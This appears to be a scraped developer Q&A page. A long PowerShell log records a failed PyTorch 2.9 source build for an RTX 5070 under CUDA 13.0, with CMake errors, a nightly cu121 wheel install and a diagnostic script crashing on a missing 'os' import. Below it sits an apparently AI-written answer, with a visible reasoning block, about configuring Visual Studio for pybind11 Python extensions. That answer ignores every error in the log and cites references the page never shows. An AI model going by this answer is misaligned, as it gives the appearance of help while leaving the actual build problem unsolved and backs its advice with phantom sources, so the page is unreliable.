Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe -- Compiler flags : /Zc:__cplusplus -- Compiler defines : MI_CMAKE_BUILD_TYPE=release;MI_BUILD_RELEASE -- Link libraries : psapi;shell32;user32;advapi32;bcrypt -- Build targets : static -- CMake Error at CMakeLists.txt:1264 (add_subdirectory): The source directory E:/PyTorch_Build/pytorch/torch/headeronly does not contain a CMakeLists.txt file. -- don't use NUMA -- Looking for backtrace -- Looking for backtrace - not found -- Could NOT find Backtrace (missing: Backtrace_LIBRARY Backtrace_INCLUDE_DIR) -- headers outputs: torch\csrc\inductor\aoti_torch\generated\c_shim_cpu.h not found torch\csrc\inductor\aoti_torch\generated\c_shim_cuda.h not found torch\csrc\inductor\aoti_torch\generated\c_shim_aten.h not found -- sources outputs: -- declarations_yaml outputs: -- Performing Test COMPILER_SUPPORTS_NO_AVX256_SPLIT -- Performing Test COMPILER_SUPPORTS_NO_AVX256_SPLIT - Failed -- Using ATen parallel backend: OMP -- Could NOT find OpenSSL, try to set the path to OpenSSL root folder in the system variable OPENSSL_ROOT_DIR (missing: OPENSSL_CRYPTO_LIBRARY OPENSSL_INCLUDE_DIR) -- Check size of long double -- Check size of long double - done -- Performing Test COMPILER_SUPPORTS_FLOAT128 -- Performing Test COMPILER_SUPPORTS_FLOAT128 - Failed -- Performing Test COMPILER_SUPPORTS_SSE2 -- Performing Test COMPILER_SUPPORTS_SSE2 - Success -- Performing Test COMPILER_SUPPORTS_SSE4 -- Performing Test COMPILER_SUPPORTS_SSE4 - Success -- Performing Test COMPILER_SUPPORTS_AVX -- Performing Test COMPILER_SUPPORTS_AVX - Success -- Performing Test COMPILER_SUPPORTS_FMA4 -- Performing Test COMPILER_SUPPORTS_FMA4 - Success -- Performing Test COMPILER_SUPPORTS_AVX2 -- Performing Test COMPILER_SUPPORTS_AVX2 - Success -- Performing Test COMPILER_SUPPORTS_AVX512F -- Performing Test COMPILER_SUPPORTS_AVX512F - Success -- Found OpenMP_C: -openmp:experimental (found version "2.0") -- Found OpenMP_CXX: -openmp:experimental (found version "2.0") -- Found OpenMP_CUDA: -openmp (found version "2.0") -- Found OpenMP: TRUE (found version "2.0") -- Performing Test COMPILER_SUPPORTS_OPENMP -- Performing Test COMPILER_SUPPORTS_OPENMP - Success -- Performing Test COMPILER_SUPPORTS_OMP_SIMD -- Performing Test COMPILER_SUPPORTS_OMP_SIMD - Failed -- Performing Test COMPILER_SUPPORTS_WEAK_ALIASES -- Performing Test COMPILER_SUPPORTS_WEAK_ALIASES - Failed -- Performing Test COMPILER_SUPPORTS_BUILTIN_MATH -- Performing Test COMPILER_SUPPORTS_BUILTIN_MATH - Failed -- Performing Test COMPILER_SUPPORTS_SYS_GETRANDOM -- Performing Test COMPILER_SUPPORTS_SYS_GETRANDOM - Failed -- Configuring build for SLEEF-v3.8.0 Target system: Windows-10.0.26100 Target processor: AMD64 Host system: Windows-10.0.26100 Host processor: AMD64 Detected C compiler: MSVC @ C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe CMake: 4.1.0 Make program: E:/PyTorch_Build/pytorch/rtx5070_env/Scripts/ninja.exe -- Using option `/D_CRT_SECURE_NO_WARNINGS /D_CRT_NONSTDC_NO_DEPRECATE ` to compile libsleef -- Building shared libs : OFF -- Building static test bins: OFF -- MPFR : LIB_MPFR-NOTFOUND -- GMP : LIBGMP-NOTFOUND -- RT : -- FFTW3 : LIBFFTW3-NOTFOUND -- OPENSSL : -- SDE : SDE_COMMAND-NOTFOUND -- COMPILER_SUPPORTS_OPENMP : FALSE AT_INSTALL_INCLUDE_DIR include/ATen/core core header install: E:/PyTorch_Build/pytorch/build/aten/src/ATen/core/aten_interned_strings.h core header install: E:/PyTorch_Build/pytorch/build/aten/src/ATen/core/enum_tag.h core header install: E:/PyTorch_Build/pytorch/build/aten/src/ATen/core/TensorBody.h -- NVSHMEM not found, not building with NVSHMEM support. CMake Error at torch/CMakeLists.txt:3 (add_subdirectory): The source directory E:/PyTorch_Build/pytorch/torch/csrc does not contain a CMakeLists.txt file. CMake Warning at CMakeLists.txt:1285 (message): Generated cmake files are only fully tested if one builds with system glog, gflags, and protobuf. Other settings may generate files that are not well tested. -- -- ******** Summary ******** -- General: -- CMake version : 4.1.0 -- CMake command : E:/PyTorch_Build/pytorch/rtx5070_env/Lib/site-packages/cmake/data/bin/cmake.exe -- System : Windows -- C++ compiler : C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe -- C++ compiler id : MSVC -- C++ compiler version : 19.44.35215.0 -- Using ccache if found : OFF -- CXX flags : /DWIN32 /D_WINDOWS /EHsc /Zc:__cplusplus /bigobj /FS /utf-8 -DUSE_PTHREADPOOL -DNDEBUG -DUSE_KINETO -DLIBKINETO_NOROCTRACER -DLIBKINETO_NOXPUPTI=ON -DUSE_XNNPACK -DSYMBOLICATE_MOBILE_DEBUG_HANDLE /wd4624 /wd4068 /wd4067 /wd4267 /wd4661 /wd4717 /wd4244 /wd4804 /wd4273 -- Shared LD flags : /machine:x64 /ignore:4049 /ignore:4217 /ignore:4099 -- Static LD flags : /machine:x64 /ignore:4049 /ignore:4217 /ignore:4099 -- Module LD flags : /machine:x64 /ignore:4049 /ignore:4217 /ignore:4099 -- Build type : Release -- Compile definitions : ONNX_ML=1;ONNXIFI_ENABLE_EXT=1;ONNX_NAMESPACE=onnx_torch;_CRT_SECURE_NO_DEPRECATE=1;USE_EXTERNAL_MZCRC;MINIZ_DISABLE_ZIP_READER_CRC32_CHECKS;EXPORT_AOTI_FUNCTIONS;WIN32_LEAN_AND_MEAN;_UCRT_LEGACY_INFINITY;NOMINMAX;USE_MIMALLOC -- CMAKE_PREFIX_PATH : E:\PyTorch_Build\pytorch\rtx5070_env\Lib\site-packages;E:/Program Files/NVIDIA/CUNND/v9.12;E:\Program Files\NVIDIA\CUNND\v9.12;E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0;E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0;E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0 -- CMAKE_INSTALL_PREFIX : E:/PyTorch_Build/pytorch/torch -- USE_GOLD_LINKER : OFF -- -- TORCH_VERSION : 2.9.0 -- BUILD_STATIC_RUNTIME_BENCHMARK: OFF -- BUILD_BINARY : OFF -- BUILD_CUSTOM_PROTOBUF : ON -- Link local protobuf : ON -- BUILD_PYTHON : True -- Python version : 3.10.10 -- Python executable : E:\PyTorch_Build\pytorch\rtx5070_env\Scripts\python.exe -- Python library : E:/Python310/libs/python310.lib -- Python includes : E:/Python310/Include -- Python site-package : E:\PyTorch_Build\pytorch\rtx5070_env\Lib\site-packages -- BUILD_SHARED_LIBS : ON -- CAFFE2_USE_MSVC_STATIC_RUNTIME : OFF -- BUILD_TEST : True -- BUILD_JNI : OFF -- BUILD_MOBILE_AUTOGRAD : OFF -- BUILD_LITE_INTERPRETER: OFF -- INTERN_BUILD_MOBILE : -- TRACING_BASED : OFF -- USE_BLAS : 0 -- USE_LAPACK : 0 -- USE_ASAN : OFF -- USE_TSAN : OFF -- USE_CPP_CODE_COVERAGE : OFF -- USE_CUDA : 1 -- CUDA static link : OFF -- USE_CUDNN : OFF -- USE_CUSPARSELT : OFF -- USE_CUDSS : OFF -- USE_CUFILE : OFF -- CUDA version : 13.0 -- USE_FLASH_ATTENTION : OFF -- USE_MEM_EFF_ATTENTION : ON -- CUDA root directory : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0 -- CUDA library : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/lib/x64/cuda.lib -- cudart library : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/lib/x64/cudart.lib -- cublas library : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/lib/x64/cublas.lib -- cufft library : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/lib/x64/cufft.lib -- curand library : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/lib/x64/curand.lib -- cusparse library : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/lib/x64/cusparse.lib -- nvrtc : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/lib/x64/nvrtc.lib -- CUDA include path : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/include -- NVCC executable : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/bin/nvcc.exe -- CUDA compiler : E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/bin/nvcc.exe -- CUDA flags : -DLIBCUDACXX_ENABLE_SIMPLIFIED_COMPLEX_OPERATIONS -Xcompiler /Zc:__cplusplus -Xcompiler /w -w -Xcompiler /FS -Xfatbin -compress-all -DONNX_NAMESPACE=onnx_torch --use-local-env -gencode arch=compute_89,code=sm_89 -gencode arch=compute_90,code=sm_90 -gencode arch=compute_120,code=sm_120 -Xcudafe --diag_suppress=cc_clobber_ignored,--diag_suppress=field_without_dll_interface,--diag_suppress=base_class_has_different_dll_interface,--diag_suppress=dll_interface_conflict_none_assumed,--diag_suppress=dll_interface_conflict_dllexport_assumed,--diag_suppress=bad_friend_decl --Werror cross-execution-space-call --no-host-device-move-forward --expt-relaxed-constexpr --expt-extended-lambda -Xcompiler=/wd4819,/wd4503,/wd4190,/wd4244,/wd4251,/wd4275,/wd4522 -Wno-deprecated-gpu-targets --expt-extended-lambda -DCUB_WRAPPED_NAMESPACE=at_cuda_detail -DCUDA_HAS_FP16=1 -D__CUDA_NO_HALF_OPERATORS__ -D__CUDA_NO_HALF_CONVERSIONS__ -D__CUDA_NO_HALF2_OPERATORS__ -D__CUDA_NO_BFLOAT16_CONVERSIONS__ -- CUDA host compiler : -- CUDA --device-c : OFF -- USE_TENSORRT : -- USE_XPU : OFF -- USE_ROCM : OFF -- BUILD_NVFUSER : -- USE_EIGEN_FOR_BLAS : ON -- USE_EIGEN_FOR_SPARSE : OFF -- USE_FBGEMM : OFF -- USE_KINETO : ON -- USE_GFLAGS : OFF -- USE_GLOG : OFF -- USE_LITE_PROTO : OFF -- USE_PYTORCH_METAL : OFF -- USE_PYTORCH_METAL_EXPORT : OFF -- USE_MPS : OFF -- CAN_COMPILE_METAL : -- USE_MKL : OFF -- USE_MKLDNN : OFF -- USE_UCC : OFF -- USE_ITT : ON -- USE_XCCL : OFF -- USE_NCCL : OFF -- Found NVSHMEM : -- USE_NNPACK : OFF -- USE_NUMPY : ON -- USE_OBSERVERS : ON -- USE_OPENCL : OFF -- USE_OPENMP : ON -- USE_MIMALLOC : ON -- USE_MIMALLOC_ON_MKL : OFF -- USE_VULKAN : OFF -- USE_PROF : OFF -- USE_PYTORCH_QNNPACK : OFF -- USE_XNNPACK : ON -- USE_DISTRIBUTED : OFF -- Public Dependencies : -- Private Dependencies : Threads::Threads;pthreadpool;cpuinfo;XNNPACK;microkernels-prod;ittnotify;fp16;caffe2::openmp;fmt::fmt-header-only;kineto -- Public CUDA Deps. : -- Private CUDA Deps. : caffe2::curand;caffe2::cufft;caffe2::cublas;fmt::fmt-header-only;E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/lib/x64/cudart_static.lib;CUDA::cusparse;CUDA::cufft;CUDA::cusolver;ATEN_CUDA_FILES_GEN_LIB -- USE_COREML_DELEGATE : OFF -- BUILD_LAZY_TS_BACKEND : ON -- USE_ROCM_KERNEL_ASSERT : OFF -- Performing Test HAS_WMISSING_PROTOTYPES -- Performing Test HAS_WMISSING_PROTOTYPES - Failed -- Performing Test HAS_WERROR_MISSING_PROTOTYPES -- Performing Test HAS_WERROR_MISSING_PROTOTYPES - Failed -- Configuring incomplete, errors occurred! (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 安装生成的包 (rtx5070_env) PS E:\PyTorch_Build\pytorch> $wheelPath = Get-ChildItem dist\*.whl | Select-Object -First 1 Get-ChildItem: Cannot find path 'E:\PyTorch_Build\pytorch\dist' because it does not exist. (rtx5070_env) PS E:\PyTorch_Build\pytorch> pip install $wheelPath --force-reinstall --no-deps ERROR: You must give at least one requirement to install (see "pip help install") (rtx5070_env) PS E:\PyTorch_Build\pytorch> python diagnostic_test.py ================================================== CUDA Toolkit 验证: ✅ NVCC 版本: nvcc: NVIDIA (R) Cuda compiler driver Copyright (c) 2005-2025 NVIDIA Corporation Built on Wed_Jul_16_20:06:48_Pacific_Daylight_Time_2025 Cuda compilation tools, release 13.0, V13.0.48 Build cuda_13.0.r13.0/compiler.36260728_0 ✅ NVIDIA-SMI 输出: Mon Sep 1 20:54:10 2025 +-----------------------------------------------------------------------------------------+ | NVIDIA-SMI 580.97 Driver Version: 580.97 CUDA Version: 13.0 | +-----------------------------------------+------------------------+----------------------+ | GPU Name Driver-Model | Bus-Id Disp.A | Volatile Uncorr. ECC | | Fan Temp Perf Pwr:Usage/Cap | Memory-Usage | GPU-Util Compute M. | | | | MIG M. | |=========================================+========================+======================| | 0 NVIDIA GeForce RTX 5070 WDDM | 00000000:01:00.0 On | N/A | | 0% 35C P3 16W / 250W | 1328MiB / 12227MiB | 0% Default | | | | N/A | +-----------------------------------------+------------------------+----------------------+ +-----------------------------------------------------------------------------------------+ | Processes: | | GPU GI CI PID Type Process name GPU Memory | | ID ID Usage | |=========================================================================================| | 0 N/A N/A 1124 C+G ...yb3d8bbwe\WindowsTerminal.exe N/A | | 0 N/A N/A 1288 C+G ...les\Tencent\Weixin\Weixin.exe N/A | | 0 N/A N/A 1776 C+G C:\Windows\System32\dwm.exe N/A | | 0 N/A N/A 2272 C+G ...t\Edge\Application\msedge.exe N/A | | 0 N/A N/A 3268 C+G ...em32\ApplicationFrameHost.exe N/A | | 0 N/A N/A 7860 C+G C:\Windows\explorer.exe N/A | | 0 N/A N/A 8004 C+G ...indows\System32\ShellHost.exe N/A | | 0 N/A N/A 8156 C+G ...0.3405.125\msedgewebview2.exe N/A | | 0 N/A N/A 8852 C+G ..._cw5n1h2txyewy\SearchHost.exe N/A | | 0 N/A N/A 8876 C+G ...y\StartMenuExperienceHost.exe N/A | | 0 N/A N/A 10540 C+G ...0.3405.125\msedgewebview2.exe N/A | | 0 N/A N/A 12380 C+G ...5n1h2txyewy\TextInputHost.exe N/A | | 0 N/A N/A 15340 C+G ...acted\runtime\WeChatAppEx.exe N/A | | 0 N/A N/A 18600 C+G ...ntrolPanel\SystemSettings.exe N/A | +-----------------------------------------------------------------------------------------+ ================================================== ❌ 严重错误发生: Traceback (most recent call last): File "E:\PyTorch_Build\pytorch\diagnostic_test.py", line 116, in <module> check_cuda_toolkit() File "E:\PyTorch_Build\pytorch\diagnostic_test.py", line 21, in check_cuda_toolkit cuda_path = os.environ.get('CUDA_PATH', '未设置') NameError: name 'os' is not defined 按 Enter 键退出... (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 卸载现有版本 (rtx5070_env) PS E:\PyTorch_Build\pytorch> pip uninstall -y torch torchvision torchaudio WARNING: Skipping torch as it is not installed. WARNING: Skipping torchvision as it is not installed. WARNING: Skipping torchaudio as it is not installed. (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 安装支持 RTX 5070 的预编译版本 (rtx5070_env) PS E:\PyTorch_Build\pytorch> pip install --pre torch torchvision torchaudio ` >> --index-url https://download.pytorch.org/whl/nightly/cu121 ` >> --no-deps Looking in indexes: https://download.pytorch.org/whl/nightly/cu121 Collecting torch Using cached https://download.pytorch.org/whl/nightly/cu121/torch-2.6.0.dev20241112%2Bcu121-cp310-cp310-win_amd64.whl (2456.2 MB) Collecting torchvision Using cached https://download.pytorch.org/whl/nightly/cu121/torchvision-0.20.0.dev20241112%2Bcu121-cp310-cp310-win_amd64.whl (6.2 MB) Collecting torchaudio Using cached https://download.pytorch.org/whl/nightly/cu121/torchaudio-2.5.0.dev20241112%2Bcu121-cp310-cp310-win_amd64.whl (4.2 MB) Installing collected packages: torchaudio, torchvision, torch Successfully installed torch-2.6.0.dev20241112+cu121 torchaudio-2.5.0.dev20241112+cu121 torchvision-0.20.0.dev20241112+cu121 (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 安装必要依赖 (rtx5070_env) PS E:\PyTorch_Build\pytorch> pip install pyyaml numpy typing_extensions mkl mkl-include intel-openmp Looking in indexes: https://pypi.tuna.tsinghua.edu.cn/simple Requirement already satisfied: pyyaml in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (6.0.2) Requirement already satisfied: numpy in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (2.2.6) Requirement already satisfied: typing_extensions in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (4.15.0) Requirement already satisfied: mkl in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (2025.2.0) Requirement already satisfied: mkl-include in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (2025.2.0) Requirement already satisfied: intel-openmp in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (2025.2.1) Requirement already satisfied: tbb==2022.* in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (from mkl) (2022.2.0) Requirement already satisfied: intel-cmplr-lib-ur==2025.2.1 in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (from intel-openmp) (2025.2.1) Requirement already satisfied: umf==0.11.* in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (from intel-cmplr-lib-ur==2025.2.1->intel-openmp) (0.11.0) Requirement already satisfied: tcmlib==1.* in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (from tbb==2022.*->mkl) (1.4.0) (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 执行诊断测试 (rtx5070_env) PS E:\PyTorch_Build\pytorch> python diagnostic_test.py ================================================== CUDA Toolkit 验证: ✅ NVCC 版本: nvcc: NVIDIA (R) Cuda compiler driver Copyright (c) 2005-2025 NVIDIA Corporation Built on Wed_Jul_16_20:06:48_Pacific_Daylight_Time_2025 Cuda compilation tools, release 13.0, V13.0.48 Build cuda_13.0.r13.0/compiler.36260728_0 ✅ NVIDIA-SMI 输出: Mon Sep 1 20:55:52 2025 +-----------------------------------------------------------------------------------------+ | NVIDIA-SMI 580.97 Driver Version: 580.97 CUDA Version: 13.0 | +-----------------------------------------+------------------------+----------------------+ | GPU Name Driver-Model | Bus-Id Disp.A | Volatile Uncorr. ECC | | Fan Temp Perf Pwr:Usage/Cap | Memory-Usage | GPU-Util Compute M. | | | | MIG M. | |=========================================+========================+======================| | 0 NVIDIA GeForce RTX 5070 WDDM | 00000000:01:00.0 On | N/A | | 0% 35C P3 19W / 250W | 1346MiB / 12227MiB | 0% Default | | | | N/A | +-----------------------------------------+------------------------+----------------------+ +-----------------------------------------------------------------------------------------+ | Processes: | | GPU GI CI PID Type Process name GPU Memory | | ID ID Usage | |=========================================================================================| | 0 N/A N/A 1124 C+G ...yb3d8bbwe\WindowsTerminal.exe N/A | | 0 N/A N/A 1288 C+G ...les\Tencent\Weixin\Weixin.exe N/A | | 0 N/A N/A 1776 C+G C:\Windows\System32\dwm.exe N/A | | 0 N/A N/A 2272 C+G ...t\Edge\Application\msedge.exe N/A | | 0 N/A N/A 3268 C+G ...em32\ApplicationFrameHost.exe N/A | | 0 N/A N/A 7860 C+G C:\Windows\explorer.exe N/A | | 0 N/A N/A 8004 C+G ...indows\System32\ShellHost.exe N/A | | 0 N/A N/A 8156 C+G ...0.3405.125\msedgewebview2.exe N/A | | 0 N/A N/A 8852 C+G ..._cw5n1h2txyewy\SearchHost.exe N/A | | 0 N/A N/A 8876 C+G ...y\StartMenuExperienceHost.exe N/A | | 0 N/A N/A 10540 C+G ...0.3405.125\msedgewebview2.exe N/A | | 0 N/A N/A 12380 C+G ...5n1h2txyewy\TextInputHost.exe N/A | | 0 N/A N/A 15340 C+G ...acted\runtime\WeChatAppEx.exe N/A | | 0 N/A N/A 18600 C+G ...ntrolPanel\SystemSettings.exe N/A | +-----------------------------------------------------------------------------------------+ ================================================== ❌ 严重错误发生: Traceback (most recent call last): File "E:\PyTorch_Build\pytorch\diagnostic_test.py", line 116, in <module> check_cuda_toolkit() File "E:\PyTorch_Build\pytorch\diagnostic_test.py", line 21, in check_cuda_toolkit cuda_path = os.environ.get('CUDA_PATH', '未设置') NameError: name 'os' is not defined 按 Enter 键退出... (rtx5070_env) PS E:\PyTorch_Build\pytorch>
09-02
<think>嗯,用户的问题是关于在Windows上使用Visual Studio构建Python扩展模块时遇到的未安装Visual C++的问题。首先,我需要确认用户的问题具体是什么。可能的情况是用户没有安装Visual C++的工作负载,或者相关的构建工具。接下来,我需要回忆相关的解决方案步骤。 根据引用中的信息,比如引用[1]提到在Visual Studio中配置Python、C++和CUDA的环境,可能需要安装特定的组件。引用[2]和[3]讨论了C++与Python混合编程的环境配置,特别是使用Python的C API。引用[4]则涉及使用Visual Studio编译OpenCV CUDA Python扩展,这需要正确安装构建工具。 首先,用户需要确保安装了Visual Studio的C++开发组件。这可能包括MSVC工具集、Windows SDK和CMake支持。然后,Python开发环境需要正确设置,包括安装pybind11或Cython来简化扩展模块的创建。另外,可能需要配置项目属性,比如包含Python头文件目录和库路径,以及设置扩展模块的生成选项。 可能还需要检查用户是否正确安装了Python,并且使用的是与Visual Studio兼容的版本。例如,32位Python需要对应32位的构建工具。此外,测试和安装扩展模块的步骤也是关键,用户可能会遇到链接错误或路径问题,需要确保所有依赖项正确配置。 最后,常见问题可能包括路径错误、编译器版本不匹配或缺少必要的组件。需要提醒用户检查这些方面,并参考官方文档或社区资源进行故障排除。</think>在Windows上使用Visual Studio构建Python扩展模块需要正确配置开发环境。以下是分步解决方案: ### 1. 安装必要组件 - **Visual Studio安装**: 1. 安装Visual Studio 2022/2019时勾选: - "使用C++的桌面开发"工作负载 - "Python开发"工作负载 - 确保包含MSVC工具集、Windows SDK和CMake支持[^1][^4] 2. 在"单个组件"中勾选: - Python原生开发工具 - C++/CLI支持 ### 2. 配置Python环境 1. 安装Python 3.x(建议通过官方安装程序或Miniconda) 2. 验证Python包含文件路径: ```bash # 典型路径示例 C:\Python39\include C:\Python39\libs ``` ### 3. 创建C++扩展项目 1. 新建Visual Studio项目: - 选择"动态链接库(DLL)"项目模板 - 配置平台工具集为MSVC v143或更高版本 2. 配置项目属性: ```makefile C/C++ -> 常规 -> 附加包含目录:添加Python包含目录 链接器 -> 输入 -> 附加依赖项:添加python39.lib 链接器 -> 常规 -> 附加库目录:添加Python库目录 ``` ### 4. 编写扩展模块代码 使用pybind11简化接口开发(示例): ```cpp #include <pybind11/pybind11.h> namespace py = pybind11; int add(int i, int j) { return i + j; } PYBIND11_MODULE(example, m) { m.def("add", &add, "A function which adds two numbers"); } ``` ### 5. 构建与测试 1. 生成解决方案(F7) 2. 生成文件应包含`.pyd`扩展名的模块 3. 在Python中测试: ```python import example print(example.add(2,3)) # 应输出5 ``` ### 常见问题处理 - **MSVC未安装**:通过Visual Studio Installer添加"MSVC工具集"[^2] - **Python路径错误**:确保项目配置的Python版本与运行环境一致[^3] - **符号导出问题**:使用`extern "C" __declspec(dllexport)`声明导出函数
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

尹成

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值